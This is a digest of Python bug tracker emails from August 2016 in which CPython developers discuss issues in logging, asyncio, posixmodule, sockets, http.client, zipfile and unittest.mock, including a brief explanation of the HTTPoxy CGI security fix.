comment: Vinay: Looks good to me. What do you think about adding tests? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:38:21 2016 From: report at bugs.python.org (Ram Rachum) Date: Sat, 06 Aug 2016 11:38:21 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <1470483501.54.0.0105774920321.issue27650@psf.upfronthosting.co.za> Ram Rachum added the comment: If you want, I can implement them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:47:16 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 11:47:16 +0000 Subject: [issue24626] please sync cgi.parse document In-Reply-To: <1436757548.2.0.774685113457.issue24626@psf.upfronthosting.co.za> Message-ID: <1470484036.68.0.473529168853.issue24626@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report! The default values of fp and environ parameters are already documented in the function signature in Python 3: cgi.parse(fp=None, environ=os.environ, keep_blank_values=False, strict_parsing=False) In Python 2, the function signature is: cgi.parse(fp[, environ[, keep_blank_values[, strict_parsing]]]) Since the default values cannot be documented in the latter form, we need to specify them separately in plain text. The reason why "(the file defaults to ``sys.stdin``)" is still in Python 3 documentation is because of the following two lines in cgi.parse() implementation: if fp is None: fp = sys.stdin So if you invoke cgi.parse() (which means fp is None) it will be replaced with sys.stdin. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 08:38:25 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sat, 06 Aug 2016 12:38:25 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470487105.98.0.0288839829471.issue23105@psf.upfronthosting.co.za> St?phane Wirtel added the comment: patch for 3.6 with the comment of Sworddragon. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file44032/issue23105.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 10:12:33 2016 From: report at bugs.python.org (INADA Naoki) Date: Sat, 06 Aug 2016 14:12:33 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1470492753.56.0.430352945377.issue27350@psf.upfronthosting.co.za> INADA Naoki added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:24:04 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 16:24:04 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <1470500644.2.0.526995977411.issue27650@psf.upfronthosting.co.za> Vinay Sajip added the comment: IMO it's not really worth adding tests for __repr__() - because no external code should depend on the exact representation of instances of these kinds of classes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:25:28 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 16:25:28 +0000 Subject: [issue27373] logging.handlers.SysLogHandler with TCP not working on rsyslog5.8 In-Reply-To: <1466672671.84.0.9141309622.issue27373@psf.upfronthosting.co.za> Message-ID: <1470500728.53.0.255139369071.issue27373@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:30:25 2016 From: report at bugs.python.org (Ram Rachum) Date: Sat, 06 Aug 2016 16:30:25 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <1470501025.31.0.302594985965.issue27650@psf.upfronthosting.co.za> Ram Rachum added the comment: Okay, but consider that if there are no tests, this code will never be run during testing. Consider that if there's a bug in that code that causes an exception to be raised (unlikely, I know, but maybe from the call to getLevelName) it won't be discovered until a release of Python is made and some user runs it and sees an exception. Maybe someone in the future will want to add more code into the __repr__ and that code will raise an exception. Having tests that run these methods ensures this will be caught before release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:42:59 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 06 Aug 2016 16:42:59 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop Message-ID: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> New submission from Guido van Rossum: The asyncio docs currently document the event loop interface as belonging to BaseEventLoop. But the intention of PEP 3156 was for the interface to belong to AbstractEventLoop. In typeshed we ended up exporting only AbstractEventLoop, but this runs into trouble when type-checking code written against the asyncio docs in the CPython repo rather against the PEP. Unless there's a serious objection I would like to see the docs changed to match the PEP here, and switch from BaseEventLoop to AbstractEventLoop. Thoughts? ---------- assignee: gvanrossum components: Documentation messages: 272101 nosy: gvanrossum, haypo, yselivanov priority: normal severity: normal stage: needs patch status: open title: Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop type: behavior versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:44:51 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 06 Aug 2016 16:44:51 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470501891.41.0.37762361374.issue27700@psf.upfronthosting.co.za> Guido van Rossum added the comment: Cross-reference: this came up in https://github.com/python/typeshed/issues/452 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 12:59:10 2016 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 06 Aug 2016 16:59:10 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470502750.8.0.910059814975.issue27700@psf.upfronthosting.co.za> Yury Selivanov added the comment: I think we should fix this. BaseEventLoop is just an implementation detail of asyncio (I think we shouldn't have exposed it in asyncio.__all__ at all). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 13:49:14 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 06 Aug 2016 17:49:14 +0000 Subject: [issue27695] Long constant calculations stall compilation In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470505754.17.0.475808876359.issue27695@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- title: Compilation doesnt' end -> Long constant calculations stall compilation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 14:06:11 2016 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 06 Aug 2016 18:06:11 +0000 Subject: [issue27568] "HTTPoxy", use of HTTP_PROXY flag supplied by attacker in CGI scripts In-Reply-To: <1468881013.81.0.152859673137.issue27568@psf.upfronthosting.co.za> Message-ID: <1470506771.06.0.839535715744.issue27568@psf.upfronthosting.co.za> Senthil Kumaran added the comment: Hi Hans-Peter, In 3.3 (95b09ccc8a3e) and 3.4 (3c19023c9fec) the change completely removes any variant of http_proxy if REQUEST_METHOD is set. The only way to have http based proxy in cgi environment by using ProxyHandler method. This is solution introduced for the security fix. If I backport your patch from issue26804, I imagined that we will be introducing a new feature for other environment variables like NO_PROXY, which folks might be prepared for in the security fix release. That was my concern in not making the other change. Hope this reasoning helps. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 15:54:30 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 06 Aug 2016 19:54:30 +0000 Subject: [issue27695] Long constant calculations stall compilation In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470513270.31.0.415898208762.issue27695@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also issue21074. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:22:53 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 06 Aug 2016 20:22:53 +0000 Subject: [issue26800] Don't accept bytearray as filenames part 2 In-Reply-To: <1461015295.39.0.246147143774.issue26800@psf.upfronthosting.co.za> Message-ID: <20160806202250.80096.27981.141212FC@psf.io> Roundup Robot added the comment: New changeset 1e01ca34a42c by Serhiy Storchaka in branch 'default': Issue #26800: Undocumented support of general bytes-like objects https://hg.python.org/cpython/rev/1e01ca34a42c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:29:49 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 06 Aug 2016 20:29:49 +0000 Subject: [issue26754] PyUnicode_FSDecoder() accepts arbitrary iterable In-Reply-To: <1460621170.51.0.766625206789.issue26754@psf.upfronthosting.co.za> Message-ID: <20160806202946.79680.3667.03EF75D1@psf.io> Roundup Robot added the comment: New changeset 818f22f9ab02 by Serhiy Storchaka in branch 'default': Issue #26754: Undocumented support of general bytes-like objects https://hg.python.org/cpython/rev/818f22f9ab02 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:35:40 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 06 Aug 2016 20:35:40 +0000 Subject: [issue22557] Local import is too slow In-Reply-To: <1412512141.77.0.0512115045124.issue22557@psf.upfronthosting.co.za> Message-ID: <1470515740.22.0.726672101395.issue22557@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:36:11 2016 From: report at bugs.python.org (Sworddragon) Date: Sat, 06 Aug 2016 20:36:11 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470515771.25.0.304981488973.issue23105@psf.upfronthosting.co.za> Sworddragon added the comment: If we decide to word it this way eventually the sentence for "Windows only" needs to be updated too. Not sure about the other sentences as they sound a bit if they would guarantee what they say. Maybe somebody else knows more. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:44:39 2016 From: report at bugs.python.org (Evan Jones) Date: Sat, 06 Aug 2016 20:44:39 +0000 Subject: [issue13829] exception error in _scproxy.so when called after fork In-Reply-To: <1326998522.6.0.790472668429.issue13829@psf.upfronthosting.co.za> Message-ID: <1470516279.64.0.541431479963.issue13829@psf.upfronthosting.co.za> Evan Jones added the comment: This is effectively the same as issue 27126. The discussion there convinced me that this may not be working around, since it isn't the only place this can happen! This same crash, caused by libdispatch not being fork compatible, also happens with sqlite and tk. We can probably add a workaround specifically for _scproxy.so, but those others would still cause the crash. ---------- nosy: +evanj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:48:25 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 06 Aug 2016 20:48:25 +0000 Subject: [issue27688] Expand documentation about Any in the typing module In-Reply-To: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> Message-ID: <20160806204822.10718.42483.097D85AE@psf.io> Roundup Robot added the comment: New changeset cbcab1fb1b8a by Guido van Rossum in branch '3.5': Better docs for typing.Any by Michael Lee. Fixes issue #27688. https://hg.python.org/cpython/rev/cbcab1fb1b8a New changeset f60e16663f6e by Guido van Rossum in branch 'default': Better docs for typing.Any by Michael Lee. Fixes issue #27688. (Merge 3.5->3.6) https://hg.python.org/cpython/rev/f60e16663f6e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 16:48:57 2016 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 06 Aug 2016 20:48:57 +0000 Subject: [issue27688] Expand documentation about Any in the typing module In-Reply-To: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> Message-ID: <1470516537.61.0.0697803245692.issue27688@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 00:18:45 2016 From: report at bugs.python.org (Martin Blais) Date: Sun, 07 Aug 2016 04:18:45 +0000 Subject: [issue24278] Docs on Parsing arguments should say something about mem mgmt for formatters returning C strings In-Reply-To: <1432481258.46.0.49462668629.issue24278@psf.upfronthosting.co.za> Message-ID: <1470543525.82.0.519949524756.issue24278@psf.upfronthosting.co.za> Martin Blais added the comment: Thank you Martin! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 03:32:49 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 07:32:49 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470555169.06.0.683930545007.issue23105@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Which sentence with "Windows only" ? Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 03:39:06 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 07:39:06 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <1470555546.3.0.75802462617.issue12946@psf.upfronthosting.co.za> St?phane Wirtel added the comment: you can merge the patch. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 04:45:56 2016 From: report at bugs.python.org (Ed Schouten) Date: Sun, 07 Aug 2016 08:45:56 +0000 Subject: [issue27701] [posixmodule] [Refactoring patch] Simply call into *at() functions unconditionally when present Message-ID: <1470559556.18.0.347536673064.issue27701@psf.upfronthosting.co.za> New submission from Ed Schouten: CloudABI is a sandboxed UNIX-like environment (https://mail.python.org/pipermail/python-dev/2016-July/145708.html). As it implements a security framework similar to FreeBSD's Capsicum, file system access is only permitted by using POSIX-2008-style directory file descriptors. To explain it simply, the API is as follows: - Take POSIX 2008 - Remove all the non-*at() functions - Remove AT_FDCWD It would be nice if Python could support CloudABI out of the box, but in my opinion this should be done in a way that's as unintrusive as possible. We shouldn't make a mess out of Python, just to support CloudABI. I've been looking at Python's posixmodule and I think there's some low-hanging fruit. We can make changes that significantly reduce the size of our patchset for CloudABI, while also making the existing code easier to understand: - When support for *at() functions was added, they didn't replace the calls to the non-*at() functions. The non-*at() functions are still invoked when dir_fd == AT_FDCWD. This can be changed to invoke the *at() functions unconditionally. The advantage of this approach is that AT_FDCWD then only needs to be used in dir_fd_converter() and a small number of other places. It also means that the code builds on systems that don't prove the non-*at() functions. - The *_DIR_FD_CONVERTER macros aren't used in a small number of places, requiring us to do additional checks against AT_FDCWD in os_*_impl(). In os.link(), os.rename() and os.replace(), we call into dir_fd_converter() unconditionally, only to let the respective implementation functions perform additional checks. If dir_fd_unavailable() would be used instead, the implementations would be cleaner. The attached patch does this refactoring, also making some minor cleanups along the way. ---------- components: Extension Modules files: posixmodule-refactoring.diff keywords: patch messages: 272114 nosy: EdSchouten priority: normal severity: normal status: open title: [posixmodule] [Refactoring patch] Simply call into *at() functions unconditionally when present versions: Python 3.6 Added file: http://bugs.python.org/file44033/posixmodule-refactoring.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 05:22:02 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 09:22:02 +0000 Subject: [issue27701] [posixmodule] [Refactoring patch] Simply call into *at() functions unconditionally when present In-Reply-To: <1470559556.18.0.347536673064.issue27701@psf.upfronthosting.co.za> Message-ID: <1470561722.79.0.0298704229417.issue27701@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 05:36:38 2016 From: report at bugs.python.org (Yury V. Zaytsev) Date: Sun, 07 Aug 2016 09:36:38 +0000 Subject: [issue10496] Python startup should not require passwd entry In-Reply-To: <1290398281.89.0.568058332092.issue10496@psf.upfronthosting.co.za> Message-ID: <1470562598.82.0.74732746412.issue10496@psf.upfronthosting.co.za> Yury V. Zaytsev added the comment: Another scenario how this could happen is when Python interpreter is run from a scheduled job on a BlueGene/Q node by the CNK; this is a minimalist execution environment where getpwuid() is unable to resolve home directories for UIDs running the jobs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 05:37:56 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 09:37:56 +0000 Subject: [issue10496] Python startup should not require passwd entry In-Reply-To: <1290398281.89.0.568058332092.issue10496@psf.upfronthosting.co.za> Message-ID: <1470562676.0.0.96446273789.issue10496@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 05:38:51 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 09:38:51 +0000 Subject: [issue18049] Re-enable threading test on OSX In-Reply-To: <1369405666.05.0.54874731136.issue18049@psf.upfronthosting.co.za> Message-ID: <1470562731.42.0.00576781008184.issue18049@psf.upfronthosting.co.za> St?phane Wirtel added the comment: yes, maybe, could you provide a patch ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 06:37:13 2016 From: report at bugs.python.org (Ed Schouten) Date: Sun, 07 Aug 2016 10:37:13 +0000 Subject: [issue27702] [Patch] Only use SOCK_RAW when defined Message-ID: <1470566233.96.0.229880145452.issue27702@psf.upfronthosting.co.za> New submission from Ed Schouten: POSIX only requires socket types SOCK_STREAM, SOCK_DGRAM and SOCK_SEQPACKET to be present. SOCK_RAW is optional, as it is placed between [RS] tags in the specification: http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/sys_socket.h.html It looks like Python's socketmodule.c does try to use it unconditionally. Comply to POSIX by only exposing it optionally, just like we do for some of the other socket types (SOCK_RDM, etc). ---------- components: Extension Modules files: sock_raw.diff keywords: patch messages: 272117 nosy: EdSchouten priority: normal severity: normal status: open title: [Patch] Only use SOCK_RAW when defined versions: Python 3.6 Added file: http://bugs.python.org/file44034/sock_raw.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 08:03:08 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 12:03:08 +0000 Subject: [issue27702] [Patch] Only use SOCK_RAW when defined In-Reply-To: <1470566233.96.0.229880145452.issue27702@psf.upfronthosting.co.za> Message-ID: <1470571388.65.0.423304372725.issue27702@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 08:37:51 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 07 Aug 2016 12:37:51 +0000 Subject: [issue23740] http.client request and send method have some datatype issues In-Reply-To: <1427052524.74.0.134908492197.issue23740@psf.upfronthosting.co.za> Message-ID: <1470573471.39.0.0984201692485.issue23740@psf.upfronthosting.co.za> Martin Panter added the comment: I?ve decided I would prefer deprecating the Latin-1 encoding, rather than adding more encoding support for iterables and text files. If not deprecating it altogether, at least prefer just ASCII encoding (like Python 2). The urlopen() function already rejects text str, and in Issue 26045 people often want or expect UTF-8. Here is a summary I made of the different data types handled for the body object, from highest priority to lowest priority. HTTPConnection HTTPConn. default body _send_output() Content-Length urlopen() =========== =============== ================= ================== None No body 0 or unset #23539 C-L unset Has read() read() #1065257 * #5038 - Text file encode() #5314 str encode() r56128 len() TypeError #11082 Byte seq. sendall() len() C-L: nbytes Bytes-like * #27340 * C-L: nbytes #3243 Iterable iter() #3243 C-L required #3243 Sized len()? #23350 fstat() st_size #1065257 Otherwise TypeError Unset #1065257 C-L optional? * Possible bugs ? Degenerate cases not worth supporting IMO C-L = Content-Length header field, set by default or required to be specified in various cases Byte seq. = Sequence of bytes, including ?bytes? type, bytearray, array("B"), etc Bytes-like = Any C-contiguous buffer, including zero- and multi-dimensional arrays, and with items other than bytes Iterable = Iterable of bytes or bytes-like objects (depending on Issue 27340 about SSL) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 08:51:57 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 07 Aug 2016 12:51:57 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise Message-ID: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> New submission from Xiang Zhang: In do_raise, the two Py_XDECREFs at the final of the success branch seem doing unnecessary NULL checks. ---------- components: Interpreter Core files: do_raise.patch keywords: patch messages: 272119 nosy: serhiy.storchaka, xiang.zhang priority: normal severity: normal status: open title: Replace two Py_XDECREFs with Py_DECREFs in do_raise type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file44035/do_raise.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 09:04:08 2016 From: report at bugs.python.org (=?utf-8?q?Florian_H=C3=B6ch?=) Date: Sun, 07 Aug 2016 13:04:08 +0000 Subject: [issue24142] ConfigParser._read doesn't join multi-line values collected while reading if a ParsingError occured In-Reply-To: <1431014086.96.0.315028213592.issue24142@psf.upfronthosting.co.za> Message-ID: <1470575048.22.0.0170481736421.issue24142@psf.upfronthosting.co.za> Florian H?ch added the comment: It seems this hasn't landed yet? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 10:27:03 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 07 Aug 2016 14:27:03 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470580023.31.0.266102920969.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: Yes when I say ?text? I mean str objects, as opposed to byte strings, etc. I wonder if it would be safer to test for TextIOBase. With the read(0) hack, the zero size may be unexpected. A file object may need special handling to generate an empty result, or to not interpret it as an EOF indicator. See e.g. Issue 23804, about zero-sized SSL reads, where both of these problems happened. As long as we document that the text file logic has changed, I think it would be okay. IMO it is better to keep things simple and robust for byte files than add more hacks for text files. A common base class like HTTPException is useful when a caller may need to handle a set of exceptions in a common way. But a problem with Content-Length or Transfer-Encoding seems like a programming error, so ValueError seems fine IMO. However I still don?t see why the checks are worthwhile. Sure having both is a technical violation of the current HTTP protocols. But if a caller is likely to end up in one of these situations, it may indicate a problem with the API that we should fix instead. If the checks are unlikely to ever fail, then drop them. Otherwise, I don?t think any of the bugs I pointed out have been addressed. I don?t like converting bytes-like to bytes. I understand one of the main purposes of accepting bytes-like objects is to avoid copying them, but converting to bytes defeats that. Also, the copying is inconsistent with the lack of copying in _read_iterable(). I am wondering if it would be best to keep new logic out of send(); just put it into _send_output() instead. Once upon a time, send() was a simple wrapper around socket.sendall() without much bloat. But with the current patch, in order to send a single buffer, we have to jump through a bunch of checks, create a dummy lambda and singleton tuple, loop over the singleton, call the lambda, realize there is no chunked encoding, etc. IMO the existing support for iterables should have been put in _send_output() too (when that was an option). There is no need to use send() to send the whole body when endheaders() already supports that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 10:43:22 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 14:43:22 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1470581002.06.0.395751559317.issue26750@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:06:41 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 07 Aug 2016 16:06:41 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <20160807160638.20547.94648.3E0FF252@psf.io> Roundup Robot added the comment: New changeset e947248100ae by Gregory P. Smith in branch '3.5': Issue #26750: unittest.mock.create_autospec() now works properly https://hg.python.org/cpython/rev/e947248100ae New changeset 0bc14c91ef7e by Gregory P. Smith in branch 'default': Issue #26750: unittest.mock.create_autospec() now works properly for https://hg.python.org/cpython/rev/0bc14c91ef7e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:07:15 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 16:07:15 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1470586035.19.0.0538563461659.issue26750@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:16:34 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 16:16:34 +0000 Subject: [issue10721] Remove HTTP 0.9 server support In-Reply-To: <1292523705.43.0.300913774105.issue10721@psf.upfronthosting.co.za> Message-ID: <1470586594.94.0.686175978016.issue10721@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: -gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:26:41 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sun, 07 Aug 2016 16:26:41 +0000 Subject: [issue9998] ctypes find_library should search LD_LIBRARY_PATH on Linux In-Reply-To: <1285857910.26.0.582948500976.issue9998@psf.upfronthosting.co.za> Message-ID: <1470587201.94.0.931133028302.issue9998@psf.upfronthosting.co.za> Changes by Vinay Sajip : Added file: http://bugs.python.org/file44036/refresh-2016-08-07.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:32:30 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 16:32:30 +0000 Subject: [issue23306] Within zipfile, use of zlib.crc32 raises OverflowError at argument-parsing time on large strings In-Reply-To: <1422056966.81.0.518971767948.issue23306@psf.upfronthosting.co.za> Message-ID: <1470587550.91.0.62680820724.issue23306@psf.upfronthosting.co.za> Gregory P. Smith added the comment: This appears to have been fixed by at least issue27130's https://hg.python.org/cpython/rev/2192edcfea02 recent commits. greg:cpython/build27$ ./python -c "import zlib;zlib.crc32('a'*(1<<31))" greg:cpython/build27$ ./python ../zipfile_2gb_test.py True greg:cpython/build27$ ls -al /tmp/zip_test.zip -rw-rw-r-- 1 greg greg 2087407 Aug 7 09:28 /tmp/zip_test.zip greg:~/sandbox/python/cpython/build27$ unzip -t /tmp/zip_test.zip Archive: /tmp/zip_test.zip testing: big OK No errors detected in compressed data of /tmp/zip_test.zip. greg:cpython/build27$ unzip -l /tmp/zip_test.zip Archive: /tmp/zip_test.zip Length Date Time Name --------- ---------- ----- ---- 2147483648 2016-08-07 09:27 big --------- ------- 2147483648 1 file ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 12:38:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Sun, 07 Aug 2016 16:38:35 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1470587915.43.0.514617854986.issue26750@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks! Is there a reason not to use inspect.isdatadescriptor() instead of _is_data_descriptor()? ---------- stage: commit review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:12:51 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 17:12:51 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor In-Reply-To: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> Message-ID: <1470589971.29.0.0330658203848.issue27664@psf.upfronthosting.co.za> Gregory P. Smith added the comment: A workaround for this on 3.5 and older versions is probably to do: initialization: num_q = queue.Queue() map(num_q.put, range(max_workers)) Then schedule max_workers identical tasks: def task(): threading.current_thread().name = '%s_%d' % (your_prefix, num_q.get()) num_q.task_done() num_q.join() # block so that this thread cannot take a new thread naming task until all other tasks are complete. guaranteeing we are executed once per max_workers threads. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:19:30 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 07 Aug 2016 17:19:30 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor In-Reply-To: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> Message-ID: <20160807171927.21107.91306.18FFEE05@psf.io> Roundup Robot added the comment: New changeset 1002a1bdc5b1 by Gregory P. Smith in branch 'default': Issue #27664: Add to concurrent.futures.thread.ThreadPoolExecutor() https://hg.python.org/cpython/rev/1002a1bdc5b1 ---------- nosy: +python-dev 